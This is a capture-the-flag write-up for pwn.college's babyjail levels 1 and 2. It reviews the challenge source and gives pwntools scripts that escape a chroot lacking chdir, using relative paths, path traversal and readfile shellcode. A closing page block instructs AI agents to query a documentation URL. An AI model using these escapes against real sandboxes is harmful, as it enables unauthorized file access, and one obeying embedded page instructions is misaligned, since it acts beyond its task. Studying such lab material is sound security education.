# babyjail

## Notes

### Shellcoding

Majority of levels in this module require shellcode writing. I recommend using `pwn.shellcraft()` from now on since this chapter is about sandboxing instead of shellcoding itself. Read more:

<https://docs.pwntools.com/en/stable/shellcraft/amd64.html#pwnlib.shellcraft.amd64.linux.syscall>

### strace

For each level, go to practice mode first and use `strace`. This step is **required**. If you skip this step, there is no way to figure out the file descriptor corresponding to each syscall.

## Level 1

### Challenge

### Code Review

```c
int main(int argc, char **argv, char **envp)
{
    assert(argc > 0);

    printf("###\n");
    printf("### Welcome to %s!\n", argv[0]);
    printf("###\n");
    printf("\n");

    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 1);

    puts("This challenge will chroot into a jail in /tmp/jail-XXXXXX. You will be able to easily read a fake flag file inside this");
    puts("jail, not the real flag file outside of it. If you want the real flag, you must escape.\n");
    puts("The only thing you can do in this challenge is read out one single file, as specified by the first argument to the");
    puts("program (argv[1]).\n");

    assert(argc > 1);

    char jail_path[] = "/tmp/jail-XXXXXX";
    assert(mkdtemp(jail_path) != NULL);

    printf("Creating a jail at `%s`.\n", jail_path);

    assert(chroot(jail_path) == 0);

    int fffd = open("/flag", O_WRONLY | O_CREAT);
    write(fffd, "FLAG{FAKE}", 10);
    close(fffd);

    printf("Sending the file at `%s` to stdout.\n", argv[1]);
    sendfile(1, open(argv[1], 0), 0, 128);

}
```

This program calls `assert(chroot(jail_path) == 0);` to put us in a jail. Recall that calling `chroot()` without calling `chdir("/")` is useless. This is a **fake jail** and we are actually able to read the real flag directly.

### Solution

Note that the choice of `argv[1]` depends on your current working directory where you execute the script. The idea is:

1. If we use `/flag` as `argv[1]`, this pathname will be interpreted as `/tmp/jail-XXXXXX/flag`. This is the **fake flag**.
2. If we use `flag` as `argv[1]`, **the result depends on the current working directory where we execute the script**. We can provide an additional argument `cwd="/"` when starting the process to escape this sandbox.
3. Another option is utilizing **path traversal**. If we use `../../../../../flag` as `argv[1]`, the real flag will be sent to us as well.

### Exploit

#### Method 1

```python
#!/usr/bin/env python3
from pwn import *

#--------Setup--------#

context(arch="amd64", os="linux")
elf = ELF("/challenge/babyjail_level1", checksec=False)

#--------Chroot Escape--------#

p = process(["/challenge/babyjail_level1", "flag"], cwd="/")

p.interactive()
```

#### Method 2

```python
#!/usr/bin/env python3
from pwn import *

#--------Setup--------#

context(arch="amd64", os="linux")
elf = ELF("/challenge/babyjail_level1", checksec=False)

#--------chroot escape--------#

p = process(["/challenge/babyjail_level1", "../../../../../flag"])

p.interactive()
```

## Level 2

### Challenge

### Code Review

```c
int main(int argc, char **argv, char **envp)
{
    assert(argc > 0);

    printf("###\n");
    printf("### Welcome to %s!\n", argv[0]);
    printf("###\n");
    printf("\n");

    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 1);

    puts("This challenge will chroot into a jail in /tmp/jail-XXXXXX. You will be able to easily read a fake flag file inside this");
    puts("jail, not the real flag file outside of it. If you want the real flag, you must escape.\n");

    puts("You may open a specified file, as given by the first argument to the program (argv[1]).\n");

    puts("You may upload custom shellcode to do whatever you want.\n");

    assert(argc > 1);

    puts("Checking to make sure you're not trying to open the flag.\n");
    assert(strstr(argv[1], "flag") == NULL);

    int fd = open(argv[1], O_RDONLY|O_NOFOLLOW);
    if (fd < 0)
        printf("Failed to open the file located at `%s`.\n", argv[1]);
    else
        printf("Successfully opened the file located at `%s`.\n", argv[1]);

    char jail_path[] = "/tmp/jail-XXXXXX";
    assert(mkdtemp(jail_path) != NULL);

    printf("Creating a jail at `%s`.\n", jail_path);

    assert(chroot(jail_path) == 0);

    int fffd = open("/flag", O_WRONLY | O_CREAT);
    write(fffd, "FLAG{FAKE}", 10);
    close(fffd);

    void *shellcode = mmap((void *)0x1337000, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANON, 0, 0);
    assert(shellcode == (void *)0x1337000);
    printf("Mapped 0x1000 bytes for shellcode at %p!\n", shellcode);

    puts("Reading 0x1000 bytes of shellcode from stdin.\n");
    int shellcode_size = read(0, shellcode, 0x1000);

    puts("This challenge is about to execute the following shellcode:\n");
    print_disassembly(shellcode, shellcode_size);
    puts("");

    puts("Executing shellcode!\n");

    ((void(*)())shellcode)();
}
```

This program is essentially the same as Level 1 but it takes a piece of shellcode and executes it. Again, this is a **fake jail** and we are able to esacpe it easily.

### Solution

The idea of this level is same as Level 1, but we are asked to write **shellcode** that does the same thing. Here we can use the pwntools built-in shellcode `shellcraft.readfile("flag", 1)` to send the flag to STDOUT.

Be careful, it is `"flag"`, not `"/flag"`.

Note that we are not doing `readfile("/flag", 1)` because of the existence of the fake flag. Instead, we use the same trick as in Level 1: start the process with an additional argument `cwd="/"` and call `readfile()` using relative path.

### Exploit

```python
#!/usr/bin/env python3
from pwn import *

elf = ELF("/challenge/babyjail_level2")
context.arch="amd64"

shellcode = asm(shellcraft.readfile("flag", 1))

p = process(["/challenge/babyjail_level2", "/"], cwd="/")
p.sendline(shellcode)
p.interactive()
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://ret2basic.gitbook.io/ctfwriteup/web2-ctf/pwn.college/sandboxing/babyjail.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
